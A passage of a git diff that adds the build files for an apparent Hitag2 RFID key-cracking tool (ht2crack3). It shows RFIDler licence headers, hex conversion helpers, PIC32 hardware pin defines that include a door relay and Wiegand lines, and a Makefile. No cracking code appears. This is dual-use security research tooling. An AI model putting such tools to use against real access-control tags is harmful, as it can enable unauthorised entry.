charge. For the * + * purposes of this license, an installer is considered to include Covered * + * Software even if it actually retrieves a copy of Covered Software from * + * another source during runtime (such as by downloading it from the * + * Internet). * + * * + * o Links (statically or dynamically) to a library which does any of the * + * above. * + * * + * o Executes a helper program, module, or script to do any of the above. * + * * + * This list is not exclusive, but is meant to clarify our interpretation * + * of derived works with some common examples. Other people may interpret * + * the plain GPL differently, so we consider this a special exception to * + * the GPL that we apply to Covered Software. Works which meet any of * + * these conditions must conform to all of the terms of this license, * + * particularly including the GPL Section 3 requirements of providing * + * source code and allowing free redistribution of the work as a whole. * + * * + * As another special exception to the GPL terms, Aperture Labs Ltd. grants* + * permission to link the code of this program with any version of the * + * OpenSSL library which is distributed under a license identical to that * + * listed in the included docs/licenses/OpenSSL.txt file, and distribute * + * linked combinations including the two. * + * * + * Any redistribution of Covered Software, including any derived works, * + * must obey and carry forward all of the terms of this license, including * + * obeying all GPL rules and restrictions. For example, source code of * + * the whole work must be provided and free redistribution must be * + * allowed. All GPL references to "this License", are to be treated as * + * including the terms and conditions of this license text as well. * + * * + * Because this license imposes special exceptions to the GPL, Covered * + * Work may not be combined (even as part of a larger work) with plain GPL * + * software. The terms, conditions, and exceptions of this license must * + * be included as well. This license is incompatible with some other open * + * source licenses as well. In some cases we can relicense portions of * + * RFIDler or grant special permissions to use it in other open source * + * software. Please contact sales@aperturelabs.com with any such requests.* + * Similarly, we don't incorporate incompatible open source software into * + * Covered Software without special permission from the copyright holders. * + * * + * If you have any questions about the licensing restrictions on using * + * RFIDler in other works, are happy to help. As mentioned above, we also * + * offer alternative license to integrate RFIDler into proprietary * + * applications and appliances. These contracts have been sold to dozens * + * of software vendors, and generally include a perpetual license as well * + * as providing for priority support and updates. They also fund the * + * continued development of RFIDler. Please email sales@aperturelabs.com * + * for further information. * + * If you have received a written license agreement or contract for * + * Covered Software stating terms other than these, you may choose to use * + * and redistribute Covered Software under those terms instead of these. * + * * + * Source is provided to this software because we believe users have a * + * right to know exactly what a program is going to do before they run it. * + * This also allows you to audit the software for security holes (none * + * have been found so far). * + * * + * Source code also allows you to port RFIDler to new platforms, fix bugs, * + * and add new features. You are highly encouraged to send your changes * + * to the RFIDler mailing list for possible incorporation into the * + * main distribution. By sending these changes to Aperture Labs Ltd. or * + * one of the Aperture Labs Ltd. development mailing lists, or checking * + * them into the RFIDler source code repository, it is understood (unless * + * you specify otherwise) that you are offering the RFIDler Project * + * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, * + * modify, and relicense the code. RFIDler will always be available Open * + * Source, but this is important because the inability to relicense code * + * has caused devastating problems for other Free Software projects (such * + * as KDE and NASM). We also occasionally relicense the code to third * + * parties as discussed above. If you wish to specify special license * + * conditions of your contributions, just say so when you send them. * + * * + * This program is distributed in the hope that it will be useful, but * + * WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler * + * license file for more details (it's in a COPYING file included with * + * RFIDler, and also available from * + * https://github.com/ApertureLabsLtd/RFIDler/COPYING * + * * + ***************************************************************************/ + +// Author: Adam Laurie + + +#include +#include +#include "HardwareProfile.h" +#include "util.h" +#include "rfidler.h" +//#include "comms.h" + +// rtc +rtccTime RTC_time; // time structure +rtccDate RTC_date; // date structure + +// convert byte-reversed 8 digit hex to unsigned long +unsigned long hexreversetoulong(BYTE *hex) +{ + unsigned long ret= 0L; + unsigned int x; + BYTE i; + + if(strlen(hex) != 8) + return 0L; + + for(i= 0 ; i < 4 ; ++i) + { + if(sscanf(hex, "%2X", &x) != 1) + return 0L; + ret += ((unsigned long) x) << i * 8; + hex += 2; + } + return ret; +} + +// convert byte-reversed 12 digit hex to unsigned long +unsigned long long hexreversetoulonglong(BYTE *hex) +{ + unsigned long long ret= 0LL; + BYTE tmp[9]; + + // this may seem an odd way to do it, but weird compiler issues were + // breaking direct conversion! + + tmp[8]= '\0'; + memset(tmp + 4, '0', 4); + memcpy(tmp, hex + 8, 4); + ret= hexreversetoulong(tmp); + ret <<= 32; + memcpy(tmp, hex, 8); + ret += hexreversetoulong(tmp); + return ret; +} + + diff --git a/tools/hitag2crack/crack3/.gitignore b/tools/hitag2crack/crack3/.gitignore new file mode 100644 index 000000000..c993f2fe3 --- /dev/null +++ b/tools/hitag2crack/crack3/.gitignore @@ -0,0 +1,6 @@ +ht2crack3 +ht2test + +ht2crack3.exe +ht2test.exe + diff --git a/tools/hitag2crack/crack3/HardwareProfile.h b/tools/hitag2crack/crack3/HardwareProfile.h new file mode 100644 index 000000000..a2f804be6 --- /dev/null +++ b/tools/hitag2crack/crack3/HardwareProfile.h @@ -0,0 +1,524 @@ +/*************************************************************************** + * A copy of the GNU GPL is appended to this file. * + * * + * This licence is based on the nmap licence, and we express our gratitude * + * for the work that went into producing it. There is no other connection * + * between RFIDler and nmap either expressed or implied. * + * * + ********************** IMPORTANT RFIDler LICENSE TERMS ******************** + * * + * * + * All references to RFIDler herein imply all it's derivatives, namely: * + * * + * o RFIDler-LF Standard * + * o RFIDler-LF Lite * + * o RFIDler-LF Nekkid * + * * + * * + * RFIDler is (C) 2013-2014 Aperture Labs Ltd. * + * * + * This program is free software; you may redistribute and/or modify it * + * under the terms of the GNU General Public License as published by the * + * Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE * + * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your * + * right to use, modify, and redistribute this software under certain * + * conditions. If you wish to embed RFIDler technology into proprietary * + * software or hardware, we sell alternative licenses * + * (contact sales@aperturelabs.com). * + * * + * Note that the GPL places important restrictions on "derivative works", * + * yet it does not provide a detailed definition of that term. To avoid * + * misunderstandings, we interpret that term as broadly as copyright law * + * allows. For example, we consider an application to constitute a * + * derivative work for the purpose of this license if it does any of the * + * following with any software or content covered by this license * + * ("Covered Software"): * + * * + * o Integrates source code from Covered Software. * + * * + * o Is designed specifically to execute Covered Software and parse the * + * results (as opposed to typical shell or execution-menu apps, which will * + * execute anything you tell them to). * + * * + * o Includes Covered Software in a proprietary executable installer. The * + * installers produced by InstallShield are an example of this. Including * + * RFIDler with other software in compressed or archival form does not * + * trigger this provision, provided appropriate open source decompression * + * or de-archiving software is widely available for no charge. For the * + * purposes of this license, an installer is considered to include Covered * + * Software even if it actually retrieves a copy of Covered Software from * + * another source during runtime (such as by downloading it from the * + * Internet). * + * * + * o Links (statically or dynamically) to a library which does any of the * + * above. * + * * + * o Executes a helper program, module, or script to do any of the above. * + * * + * This list is not exclusive, but is meant to clarify our interpretation * + * of derived works with some common examples. Other people may interpret * + * the plain GPL differently, so we consider this a special exception to * + * the GPL that we apply to Covered Software. Works which meet any of * + * these conditions must conform to all of the terms of this license, * + * particularly including the GPL Section 3 requirements of providing * + * source code and allowing free redistribution of the work as a whole. * + * * + * As another special exception to the GPL terms, Aperture Labs Ltd. grants* + * permission to link the code of this program with any version of the * + * OpenSSL library which is distributed under a license identical to that * + * listed in the included docs/licenses/OpenSSL.txt file, and distribute * + * linked combinations including the two. * + * * + * Any redistribution of Covered Software, including any derived works, * + * must obey and carry forward all of the terms of this license, including * + * obeying all GPL rules and restrictions. For example, source code of * + * the whole work must be provided and free redistribution must be * + * allowed. All GPL references to "this License", are to be treated as * + * including the terms and conditions of this license text as well. * + * * + * Because this license imposes special exceptions to the GPL, Covered * + * Work may not be combined (even as part of a larger work) with plain GPL * + * software. The terms, conditions, and exceptions of this license must * + * be included as well. This license is incompatible with some other open * + * source licenses as well. In some cases we can relicense portions of * + * RFIDler or grant special permissions to use it in other open source * + * software. Please contact sales@aperturelabs.com with any such requests.* + * Similarly, we don't incorporate incompatible open source software into * + * Covered Software without special permission from the copyright holders. * + * * + * If you have any questions about the licensing restrictions on using * + * RFIDler in other works, are happy to help. As mentioned above, we also * + * offer alternative license to integrate RFIDler into proprietary * + * applications and appliances. These contracts have been sold to dozens * + * of software vendors, and generally include a perpetual license as well * + * as providing for priority support and updates. They also fund the * + * continued development of RFIDler. Please email sales@aperturelabs.com * + * for further information. * + * If you have received a written license agreement or contract for * + * Covered Software stating terms other than these, you may choose to use * + * and redistribute Covered Software under those terms instead of these. * + * * + * Source is provided to this software because we believe users have a * + * right to know exactly what a program is going to do before they run it. * + * This also allows you to audit the software for security holes (none * + * have been found so far). * + * * + * Source code also allows you to port RFIDler to new platforms, fix bugs, * + * and add new features. You are highly encouraged to send your changes * + * to the RFIDler mailing list for possible incorporation into the * + * main distribution. By sending these changes to Aperture Labs Ltd. or * + * one of the Aperture Labs Ltd. development mailing lists, or checking * + * them into the RFIDler source code repository, it is understood (unless * + * you specify otherwise) that you are offering the RFIDler Project * + * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, * + * modify, and relicense the code. RFIDler will always be available Open * + * Source, but this is important because the inability to relicense code * + * has caused devastating problems for other Free Software projects (such * + * as KDE and NASM). We also occasionally relicense the code to third * + * parties as discussed above. If you wish to specify special license * + * conditions of your contributions, just say so when you send them. * + * * + * This program is distributed in the hope that it will be useful, but * + * WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler * + * license file for more details (it's in a COPYING file included with * + * RFIDler, and also available from * + * https://github.com/ApertureLabsLtd/RFIDler/COPYING * + * * + ***************************************************************************/ + +// Author: Adam Laurie + + + +#ifndef HARDWARE_PROFILE_UBW32_H +#define HARDWARE_PROFILE_UBW32_H + +//#include "plib.h" +typedef char BOOL; +typedef char BYTE; +typedef int rtccTime; +typedef int rtccDate; + + +#ifndef __PIC32MX__ + #define __PIC32MX__ +#endif + +#define GetSystemClock() (80000000ul) +#define GetPeripheralClock() (GetSystemClock()) +#define GetInstructionClock() (GetSystemClock()) + +//#define USE_SELF_POWER_SENSE_IO +#define tris_self_power TRISAbits.TRISA2 // Input +#define self_power 1 + +//#define USE_USB_BUS_SENSE_IO +#define tris_usb_bus_sense TRISBbits.TRISB5 // Input +#define USB_BUS_SENSE 1 + +// LEDs +#define mLED_1 LATEbits.LATE3 + +#define mLED_2 LATEbits.LATE2 +#define mLED_Comms mLED_2 + +#define mLED_3 LATEbits.LATE1 +#define mLED_Clock mLED_3 + +#define mLED_4 LATEbits.LATE0 +#define mLED_Emulate mLED_4 + +#define mLED_5 LATGbits.LATG6 +#define mLED_Read mLED_5 + +#define mLED_6 LATAbits.LATA15 +#define mLED_User mLED_6 + +#define mLED_7 LATDbits.LATD11 +#define mLED_Error mLED_7 + +// active low +#define mLED_ON 0 +#define mLED_OFF 1 + +#define mGetLED_1() mLED_1 +#define mGetLED_USB() mLED_1 +#define mGetLED_2() mLED_2 +#define mGetLED_Comms() mLED_2 +#define mGetLED_3() mLED_3 +#define mGetLED_Clock() mLED_3 +#define mGetLED_4() mLED_4 +#define mGetLED_Emulate() mLED_4 +#define mGetLED_5() mLED_5 +#define mGetLED_Read() mLED_5 +#define mGetLED_6() mLED_6 +#define mGetLED_User() mLED_6 +#define mGetLED_7() mLED_7 +#define mGetLED_Error() mLED_7 + +#define mLED_1_On() mLED_1 = mLED_ON +#define mLED_USB_On() mLED_1_On() +#define mLED_2_On() mLED_2 = mLED_ON +#define mLED_Comms_On() mLED_2_On() +#define mLED_3_On() mLED_3 = mLED_ON +#define mLED_Clock_On() mLED_3_On() +#define mLED_4_On() mLED_4 = mLED_ON +#define mLED_Emulate_On() mLED_4_On() +#define mLED_5_On() mLED_5 = mLED_ON +#define mLED_Read_On() mLED_5_On() +#define mLED_6_On() mLED_6 = mLED_ON +#define mLED_User_On() mLED_6_On() +#define mLED_7_On() mLED_7 = mLED_ON +#define mLED_Error_On() mLED_7_On() + +#define mLED_1_Off() mLED_1 = mLED_OFF +#define mLED_USB_Off() mLED_1_Off() +#define mLED_2_Off() mLED_2 = mLED_OFF +#define mLED_Comms_Off() mLED_2_Off() +#define mLED_3_Off() mLED_3 = mLED_OFF +#define mLED_Clock_Off() mLED_3_Off() +#define mLED_4_Off() mLED_4 = mLED_OFF +#define mLED_Emulate_Off() mLED_4_Off() +#define mLED_5_Off() mLED_5 = mLED_OFF +#define mLED_Read_Off() mLED_5_Off() +#define mLED_6_Off() mLED_6 = mLED_OFF +#define mLED_User_Off() mLED_6_Off() +#define mLED_7_Off() mLED_7 = mLED_OFF +#define mLED_Error_Off() mLED_7_Off() + +#define mLED_1_Toggle() mLED_1 = !mLED_1 +#define mLED_USB_Toggle() mLED_1_Toggle() +#define mLED_2_Toggle() mLED_2 = !mLED_2 +#define mLED_Comms_Toggle() mLED_2_Toggle() +#define mLED_3_Toggle() mLED_3 = !mLED_3 +#define mLED_Clock_Toggle() mLED_3_Toggle() +#define mLED_4_Toggle() mLED_4 = !mLED_4 +#define mLED_Emulate_Toggle() mLED_4_Toggle() +#define mLED_5_Toggle() mLED_5 = !mLED_5 +#define mLED_Read_Toggle( ) mLED_5_Toggle() +#define mLED_6_Toggle() mLED_6 = !mLED_6 +#define mLED_User_Toggle() mLED_6_Toggle() +#define mLED_7_Toggle() mLED_7 = !mLED_7 +#define mLED_Error_Toggle() mLED_7_Toggle() + +#define mLED_All_On() { mLED_1_On(); mLED_2_On(); mLED_3_On(); mLED_4_On(); mLED_5_On(); mLED_6_On(); mLED_7_On(); } +#define mLED_All_Off() { mLED_1_Off(); mLED_2_Off(); mLED_3_Off(); mLED_4_Off(); mLED_5_Off(); mLED_6_Off(); mLED_7_Off(); } + +// usb status lights +#define mLED_Both_Off() {mLED_USB_Off();mLED_Comms_Off();} +#define mLED_Both_On() {mLED_USB_On();mLED_Comms_On();} +#define mLED_Only_USB_On() {mLED_USB_On();mLED_Comms_Off();} +#define mLED_Only_Comms_On() {mLED_USB_Off();mLED_Comms_On();} + +/** SWITCH *********************************************************/ +#define swBootloader PORTEbits.RE7 +#define swUser PORTEbits.RE6 + +/** I/O pin definitions ********************************************/ +#define INPUT_PIN 1 +#define OUTPUT_PIN 0 + +#define TRUE 1 +#define FALSE 0 + +#define ENABLE 1 +#define DISABE 0 + +#define EVEN 0 +#define ODD 1 + +#define LOW FALSE +#define HIGH TRUE + +#define CLOCK_ON LOW +#define CLOCK_OFF HIGH + +// output coil control - select between reader/emulator circuits +#define COIL_MODE LATBbits.LATB4 +#define COIL_MODE_READER() COIL_MODE= LOW +#define COIL_MODE_EMULATOR() COIL_MODE= HIGH + +// coil for emulation +#define COIL_OUT LATGbits.LATG9 +#define COIL_OUT_HIGH() COIL_OUT=HIGH +#define COIL_OUT_LOW() COIL_OUT=LOW + +// door relay (active low) +#define DOOR_RELAY LATAbits.LATA14 +#define DOOR_RELAY_OPEN() DOOR_RELAY= HIGH +#define DOOR_RELAY_CLOSE() DOOR_RELAY= LOW + +// inductance/capacitance freq +#define IC_FREQUENCY PORTAbits.RA2 + +#define SNIFFER_COIL PORTDbits.RD12 // external reader clock detect +#define READER_ANALOGUE PORTBbits.RB11 // reader coil analogue +#define DIV_LOW_ANALOGUE PORTBbits.RB12 // voltage divider LOW analogue +#define DIV_HIGH_ANALOGUE PORTBbits.RB13 // voltage divider HIGH analogue + +// clock coil (normally controlled by OC Module, but defined here so we can force it high or low) +#define CLOCK_COIL PORTDbits.RD4 +#define CLOCK_COIL_MOVED PORTDbits.RD0 // temporary for greenwire + +// digital output after analogue reader circuit +#define READER_DATA PORTDbits.RD8 + +// trace / debug +#define DEBUG_PIN_1 LATCbits.LATC1 +#define DEBUG_PIN_1_TOGGLE() DEBUG_PIN_1= !DEBUG_PIN_1 +#define DEBUG_PIN_2 LATCbits.LATC2 +#define DEBUG_PIN_2_TOGGLE() DEBUG_PIN_2= !DEBUG_PIN_2 +#define DEBUG_PIN_3 LATCbits.LATC3 +#define DEBUG_PIN_3_TOGGLE() DEBUG_PIN_3= !DEBUG_PIN_3 +#define DEBUG_PIN_4 LATEbits.LATE5 +#define DEBUG_PIN_4_TOGGLE() DEBUG_PIN_4= !DEBUG_PIN_4 + +// spi (sdi1) for sd card (not directly referenced) +//#define SD_CARD_RX LATCbits.LATC4 +//#define SD_CARD_TX LATDbits.LATD0 +//#define SD_CARD_CLK LATDbits.LATD10 +//#define SD_CARD_SS LATDbits.LATD9 +// spi for SD card +#define SD_CARD_DET LATFbits.LATF0 +#define SD_CARD_WE LATFbits.LATF1 // write enable - unused for microsd but allocated anyway as library checks it + // (held LOW by default - cut solder bridge to GND to free pin if required) +#define SPI_SD SPI_CHANNEL1 +#define SPI_SD_BUFF SPI1BUF +#define SPI_SD_STAT SPI1STATbits +// see section below for more defines! + +// iso 7816 smartcard +// microchip SC module defines pins so we don't need to, but +// they are listed here to help avoid conflicts +#define ISO_7816_RX LATBbits.LATF2 // RX +#define ISO_7816_TX LATBbits.LATF8 // TX +#define ISO_7816_VCC LATBbits.LATB9 // Power +#define ISO_7816_CLK LATCbits.LATD1 // Clock +#define ISO_7816_RST LATEbits.LATE8 // Reset + +// user LED +#define USER_LED LATDbits.LATD7 +#define USER_LED_ON() LATDbits.LATD7=1 +#define USER_LED_OFF() LATDbits.LATD7=0 + +// LCR +#define LCR_CALIBRATE LATBbits.LATB5 + +// wiegand / clock & data +#define WIEGAND_IN_0 PORTDbits.RD5 +#define WIEGAND_IN_0_PULLUP CNPUEbits.CNPUE14 +#define WIEGAND_IN_0_PULLDOWN CNPDbits.CNPD14 +#define WIEGAND_IN_1 PORTDbits.RD6 +#define WIEGAND_IN_1_PULLUP CNPUEbits.CNPUE15 +#define WIEGAND_IN_1_PULLDOWN CNPDbits.CNPD15 +#define CAND_IN_DATA WIEGAND_IN_0 +#define CAND_IN_CLOCK WIEGAND_IN_1 + +#define WIEGAND_OUT_0 LATDbits.LATD3 +#define WIEGAND_OUT_1 LATDbits.LATD2 +#define WIEGAND_OUT_0_TRIS TRISDbits.TRISD3 +#define WIEGAND_OUT_1_TRIS TRISDbits.TRISD2 +#define CAND_OUT_DATA WIEGAND_OUT_0 +#define CAND_OUT_CLOCK WIEGAND_OUT_1 + +// connect/disconnect reader clock from coil - used to send RWD signals by creating gaps in carrier +#define READER_CLOCK_ENABLE LATEbits.LATE9 +#define READER_CLOCK_ENABLE_ON() READER_CLOCK_ENABLE=CLOCK_ON +#define READER_CLOCK_ENABLE_OFF(x) {READER_CLOCK_ENABLE=CLOCK_OFF; COIL_OUT=x;} + +// these input pins must NEVER bet set to output or they will cause short circuits! +// they can be used to see data from reader before it goes into or gate +#define OR_IN_A PORTAbits.RA4 +#define OR_IN_B PORTAbits.RA5 + + +// CNCON and CNEN are set to allow wiegand input pin weak pullups to be switched on +#define Init_GPIO() { \ + CNCONbits.ON= TRUE; \ + CNENbits.CNEN14= TRUE; \ + CNENbits.CNEN15= TRUE; \ + TRISAbits.TRISA2= INPUT_PIN; \ + TRISAbits.TRISA4= INPUT_PIN; \ + TRISAbits.TRISA5= INPUT_PIN; \ + TRISAbits.TRISA14= OUTPUT_PIN; \ + TRISAbits.TRISA15= OUTPUT_PIN; \ + TRISBbits.TRISB4= OUTPUT_PIN; \ + TRISBbits.TRISB5= OUTPUT_PIN; \ + TRISBbits.TRISB9= OUTPUT_PIN; \ + TRISBbits.TRISB11= INPUT_PIN; \ + TRISBbits.TRISB12= INPUT_PIN; \ + TRISBbits.TRISB13= INPUT_PIN; \ + TRISCbits.TRISC1= OUTPUT_PIN; \ + TRISCbits.TRISC2= OUTPUT_PIN; \ + TRISCbits.TRISC3= OUTPUT_PIN; \ + TRISCbits.TRISC4= INPUT_PIN; \ + TRISDbits.TRISD0= INPUT_PIN; \ + TRISDbits.TRISD1= OUTPUT_PIN; \ + TRISDbits.TRISD2= OUTPUT_PIN; \ + TRISDbits.TRISD3= OUTPUT_PIN; \ + TRISDbits.TRISD4= OUTPUT_PIN; \ + TRISDbits.TRISD5= INPUT_PIN; \ + TRISDbits.TRISD6= INPUT_PIN; \ + TRISDbits.TRISD7= OUTPUT_PIN; \ + TRISDbits.TRISD8= INPUT_PIN; \ + TRISDbits.TRISD11= OUTPUT_PIN; \ + TRISDbits.TRISD12= INPUT_PIN; \ + TRISEbits.TRISE0= OUTPUT_PIN; \ + TRISEbits.TRISE1= OUTPUT_PIN; \ + TRISEbits.TRISE2= OUTPUT_PIN; \ + TRISEbits.TRISE3= OUTPUT_PIN; \ + TRISEbits.TRISE5= OUTPUT_PIN; \ + TRISEbits.TRISE6= INPUT_PIN; \ + TRISEbits.TRISE7= INPUT_PIN; \ + TRISEbits.TRISE8= OUTPUT_PIN; \ + TRISEbits.TRISE9= OUTPUT_PIN; \ + TRISFbits.TRISF0= INPUT_PIN; \ + TRISFbits.TRISF1= INPUT_PIN; \ + TRISFbits.TRISF2= INPUT_PIN; \ + TRISFbits.TRISF8= OUTPUT_PIN; \ + TRISGbits.TRISG6= OUTPUT_PIN; \ + TRISGbits.TRISG12= INPUT_PIN; \ + TRISGbits.TRISG13= INPUT_PIN; \ + TRISGbits.TRISG9= OUTPUT_PIN; \ + LATBbits.LATB9= LOW; \ + LATCbits.LATC1= LOW; \ + LATCbits.LATC2= LOW; \ + LATCbits.LATC3= LOW; \ + LATDbits.LATD2= WIEGAND_IN_1; \ + LATDbits.LATD3= WIEGAND_IN_0; \ + LATEbits.LATE5= LOW; \ + LATEbits.LATE9= HIGH; \ + } + +// uart3 (CLI/API) speed +#define BAUDRATE3 115200UL +#define BRG_DIV3 4 +#define BRGH3 1 + +// spi for potentiometer +#define SPI_POT SPI_CHANNEL4 +#define SPI_POT_BUFF SPI4BUF +#define SPI_POT_STAT SPI4STATbits + +// spi for sd card - defines required for Microchip SD-SPI libs +// define interface type +#define USE_SD_INTERFACE_WITH_SPI + +#define MDD_USE_SPI_1 +#define SPI_START_CFG_1 (PRI_PRESCAL_64_1 | SEC_PRESCAL_8_1 | MASTER_ENABLE_ON | SPI_CKE_ON | SPI_SMP_ON) +#define SPI_START_CFG_2 (SPI_ENABLE) +// Define the SPI frequency +#define SPI_FREQUENCY (20000000) +// Description: SD-SPI Card Detect Input bit +#define SD_CD PORTFbits.RF0 +// Description: SD-SPI Card Detect TRIS bit +#define SD_CD_TRIS TRISFbits.TRISF0 +// Description: SD-SPI Write Protect Check Input bit +#define SD_WE PORTFbits.RF1 +// Description: SD-SPI Write Protect Check TRIS bit +#define SD_WE_TRIS TRISFbits.TRISF1 +// Description: The main SPI control register +#define SPICON1 SPI1CON +// Description: The SPI status register +#define SPISTAT SPI1STAT +// Description: The SPI Buffer +#define SPIBUF SPI1BUF +// Description: The receive buffer full bit in the SPI status register +#define SPISTAT_RBF SPI1STATbits.SPIRBF +// Description: The bitwise define for the SPI control register (i.e. _____bits) +#define SPICON1bits SPI1CONbits +// Description: The bitwise define for the SPI status register (i.e. _____bits) +#define SPISTATbits SPI1STATbits +// Description: The enable bit for the SPI module +#define SPIENABLE SPICON1bits.ON +// Description: The definition for the SPI baud rate generator register (PIC32) +#define SPIBRG SPI1BRG +// Description: The TRIS bit for the SCK pin +#define SPICLOCK TRISDbits.TRISD10 +// Description: The TRIS bit for the SDI pin +#define SPIIN TRISCbits.TRISC4 +// Description: The TRIS bit for the SDO pin +#define SPIOUT TRISDbits.TRISD0 +#define SD_CS LATDbits.LATD9 +// Description: SD-SPI Chip Select TRIS bit +#define SD_CS_TRIS TRISDbits.TRISD9 +//SPI library functions +#define putcSPI putcSPI1 +#define getcSPI getcSPI1 +#define OpenSPI(config1, config2) OpenSPI1(config1, config2) + +// Define setup parameters for OpenADC10 function +// Turn module on | Ouput in integer format | Trigger mode auto | Enable autosample +#define ADC_CONFIG1 (ADC_FORMAT_INTG | ADC_CLK_AUTO | ADC_AUTO_SAMPLING_ON) +// ADC ref external | Disable offset test | Disable scan mode | Perform 2 samples | Use dual buffers | Use alternate mode +#define ADC_CONFIG2 (ADC_VREF_AVDD_AVSS | ADC_OFFSET_CAL_DISABLE | ADC_SCAN_OFF | ADC_SAMPLES_PER_INT_1 | ADC_ALT_BUF_ON | ADC_ALT_INPUT_ON) + +// Use ADC internal clock | Set sample time +#define ADC_CONFIG3 (ADC_CONV_CLK_INTERNAL_RC | ADC_SAMPLE_TIME_0) + +// slow sample rate for tuning coils +#define ADC_CONFIG2_SLOW (ADC_VREF_AVDD_AVSS | ADC_OFFSET_CAL_DISABLE | ADC_SCAN_OFF | ADC_SAMPLES_PER_INT_16 | ADC_ALT_BUF_ON | ADC_ALT_INPUT_ON) +#define ADC_CONFIG3_SLOW (ADC_CONV_CLK_INTERNAL_RC | ADC_SAMPLE_TIME_31) + +// use AN11 +#define ADC_CONFIGPORT ENABLE_AN11_ANA +// Do not assign channels to scan +#define ADC_CONFIGSCAN SKIP_SCAN_ALL + +#define ADC_TO_VOLTS 0.003208F + + +// flash memory - int myvar = *(int*)(myflashmemoryaddress); + +// memory is 0x9D005000 to 0x9D07FFFF + +#define NVM_MEMORY_END 0x9D07FFFF +#define NVM_PAGE_SIZE 4096 +#define NVM_PAGES 2 // config & VTAG +#define RFIDLER_NVM_ADDRESS (NVM_MEMORY_END - (NVM_PAGE_SIZE * NVM_PAGES)) + +// UART timeout in us +#define SERIAL_TIMEOUT 100 + +#endif diff --git a/tools/hitag2crack/crack3/Makefile b/tools/hitag2crack/crack3/Makefile new file mode 100644 index 000000000..6f6b7b57c --- /dev/null +++ b/tools/hitag2crack/crack3/Makefile @@ -0,0 +1,19 @@ +WARN=-Wall +INCLUDE=-I../include +CFLAGS=-c $(WARN) $(INCLUDE) +LIBS= + +all: ht2crack3.c ht2test.c hitagcrypto.o utilpart.o + cc $(WARN) -o ht2crack3 ht2crack3.c hitagcrypto.o utilpart.o -lpthread $(LIBS) + cc $(WARN) -o ht2test ht2test.c hitagcrypto.o utilpart.o $(LIBS) + +hitagcrypto.o: hitagcrypto.c hitagcrypto.h + cc $(CFLAGS) hitagcrypto.c + +utilpart.o: utilpart.c util.h + cc $(CFLAGS) utilpart.c + +clean: + rm -rf *.o ht2crack3 ht2test + +fresh: clean all diff --git a/tools/hitag2crack/crack3/hitagcrypto.c b/tools/hitag2crack/crack3/hitagcrypto.c new file mode 100644 index 000000000..422efbe92 --- /dev/null +++ b/tools/hitag2crack/crack3/hitagcrypto.c @@ -0,0 +1,485 @@ +/*************************************************************************** + * A copy of the GNU GPL is appended to this file. * + * * + * This licence is based on the nmap licence, and we express our gratitude * + * for the work that went into producing it. There is no other connection * + * between RFIDler and nmap either expressed or implied. * + * * + ********************** IMPORTANT RFIDler LICENSE TERMS ******************** + * * + * * + * All references to RFIDler herein imply all it's derivatives, namely: * + * * + * o RFIDler-LF Standard * + * o RFIDler-LF Lite * + * o RFIDler-LF Nekkid * + * * + * * + * RFIDler is (C) 2013-2015 Aperture Labs Ltd. * + * * + * This program is free software; you may redistribute and/or modify it * + * under the terms of the GNU General Public License as published by the * + * Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE * + * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your * + * right to use, modify, and redistribute this software under certain * + * conditions. If you wish to embed RFIDler technology into proprietary * + * software or hardware, we sell alternative licenses * + * (contact sales@aperturelabs.com). * + * * + * Note that the GPL places important restrictions on "derivative works", * + * yet it does not provide a detailed definition of that term. To avoid * + * misunderstandings, we interpret that term as broadly as copyright law * + * allows. For example, we consider an application to constitute a * + * derivative work for the purpose of this license if it does any of the * + * following with any software or content covered by this license * + * ("Covered Software"): * + * * + * o Integrates source code from Covered Software. * + * * + * o Is designed specifically to execute Covered Software and parse the * + * results (as opposed to typical shell or execution-menu apps, which will * + * execute anything you tell them to). * + * * + * o Includes Covered Software in a proprietary executable installer. The * + * installers produced by InstallShield are an example of this. Including * + * RFIDler with other software in compressed or archival form does not * + * trigger this provision, provided appropriate open source decompression * + * or de-archiving software is widely available for no charge. For the * + * purposes of this license, an installer is considered to include Covered * + * Software even if it actually retrieves a copy of Covered Software from * + * another source during runtime (such as by downloading it from the * + * Internet). * + * * + * o Links (statically or dynamically) to a library which does any of the * + * above. * + * * + * o Executes a helper program, module, or script to do any of the above. * + * * + * This list is not exclusive, but is meant to clarify our interpretation * + * of derived works with some common examples. Other people may interpret * + * the plain GPL differently, so we consider this a special exception to * + * the GPL that we apply to Covered Software. Works which meet any of * + * these conditions must conform to all of the terms of this license, * + * particularly including the GPL Section 3 requirements of providing * + * source code and allowing free redistribution of the work as a whole. * + * * + * As another special exception to the GPL terms, Aperture Labs Ltd. grants* + * permission to link the code of this program with any version of the * + * OpenSSL library which is distributed under a license identical to that * + * listed in the included docs/licenses/OpenSSL.txt file, and distribute * + * linked combinations including the two. * + * * + * Any redistribution of Covered Software, including any derived works, * + * must obey and carry forward all of the terms of this license, including * + * obeying all GPL rules and restrictions. For example, source code of * + * the whole work must be provided and free redistribution must be * + * allowed. All GPL references to "this License", are to be treated as * + * including the terms and conditions of this license text as well. * + * * + * Because this license imposes special exceptions to the GPL, Covered * + * Work may not be combined (even as part of a larger work) with plain GPL * + * software. The terms, conditions, and exceptions of this license must * + * be included as well. This license is incompatible with some other open * + * source licenses as well. In some cases we can relicense portions of * + * RFIDler or grant special permissions to use it in other open source * + * software. Please contact sales@aperturelabs.com with any such requests.* + * Similarly, we don't incorporate incompatible open source software into * + * Covered Software without special permission from the copyright holders. * + * * + * If you have any questions about the licensing restrictions on using * + * RFIDler in other works, are happy to help. As mentioned above, we also * + * offer alternative license to integrate RFIDler into proprietary * + * applications and appliances. These contracts have been sold to dozens * + * of software vendors, and generally include a perpetual license as well * + * as providing for priority support and updates. They also fund the * + * continued development of RFIDler. Please email sales@aperturelabs.com * + * for further information. * + * If you have received a written license agreement or contract for * + * Covered Software stating terms other than these, you may choose to use * + * and redistribute Covered Software under those terms instead of these. * + * * + * Source is provided to this software because we believe users have a * + * right to know exactly what a program is going to do before they run it. * + * This also allows you to audit the software for security holes (none * 